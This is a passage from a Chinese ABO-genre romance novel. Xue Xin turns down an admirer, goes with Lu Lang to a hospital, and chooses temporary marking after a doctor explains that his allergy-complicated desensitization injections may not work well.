宋从玉急切道:“我会继续拍的!” 薛歆:“那就最好了。” “还有,我……”宋从玉犹犹豫豫地开口,“我想问一下,您……您现在是单身吗?” 薛歆觉得该拒绝的干脆一点,但又不好撒谎,便说:“是。但我暂时没有发展感情关系的想法。” 宋从玉失望地抿起了唇。 知道再纠缠就不好看了,他努力打起精神,扬起唇说:“那我先回去了,明天见。” 薛歆:“明天见。” 玻璃门拉开又合拢,把手上的小风铃发出几声脆响。 宋从玉压着失落走到街上,鼻头泛酸,盯着自己的脚尖走了几步,忍不住回头看。 下一秒,他惊讶地睁大了眼睛。 不知何时,那只搭在椅背上的手抬了起来,正紧紧攥着薛歆的手腕。 攥得太用力,她不禁动了动手腕,但没能抽出来。 “怎么了?” “陪我。” 路琅一根根松开了手指,仰起脸来,凝视着薛歆,像朝着日光生长的葵花。 他将后半句话说完:“陪我去医院。” - 再过半小时,医院就下班了。 薛歆锁车的时候说:“这家可是公立医院,再晚半小时,就只能挂急诊了。你到底是从什么时候开始变得这么优柔寡断的?” 路琅蹙着眉:“我生病了。” 薛歆:“所以脑子转不过来?” 路琅:“嗯。” 薛歆没想到他居然会应这句话,一时有些震撼,好几次狐疑地观察他的状态。 先前好声好气哄着,不肯讲话,现在怼一句倒是愿意回答了,该不会真的病糊涂了 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“我本来想明天打电话跟你们沟通的,既然来了,正好当面说吧。”医生严肃地说,“脱敏针的配置情况不太顺利。路先生,你的这个药物过敏史,确实有点麻烦。很多成分用不了,虽然能配出来,效果估计大打折扣。” 薛歆听着听着就皱了眉。 路琅露出错愕的神色,眼睛微微睁大,灯光掉进瞳孔里,亮得像一簇烛火。 薛歆问:“效果差到什么地步?用不了?” 医生:“这个不至于。” “只是说疗程可能要延长,就目前估计的话,完全恢复要四个月。” 薛歆算了算,说:“那也不是很长,我们之前咨询过,靠临时标记脱敏差不多也是这个时间。” 闻言,路琅侧头看她,慢慢收紧了五指。 医生:“对,时间确实差不多的,但是预后不太一样。是药三分毒嘛,打那么多针,可能会对腺体造成一些不可逆转的影响。” 薛歆:“具体有什么影响?” 医生:“这个不能确定,每个人的情况不一样,如果按最严重的情况算,那可能就是以后都不能被标记了。” 这可真是个重磅炸.弹。 路琅听见了,没什么反应,仍旧盯着薛歆看。 他眼神里几乎看不出情绪,只是放在膝头的手交握在一起,指尖泛粉,轻轻地掐进肉里。 医生:“你们怎么考虑?” 薛歆充当了一会提问器,在这种问题上,不可能再继续代替路琅开口了,便以眼神示意他回答。 路琅深深吐出一口气。 “我都可以。”他说,“如果你方便就标记,不方便,脱敏针也可以。严重后遗症没有那么容易遇到。” 考虑到他们两人明面上的情侣关系,这句话简直善解人意到了无法理解的程度。听完,医生处变不惊的表情终于短暂地崩了一下,朝薛歆做口型。 ——不要当渣A! 薛歆:“……” 这下搬起石头砸自己的脚了。 “那就临时标记吧。” 她说。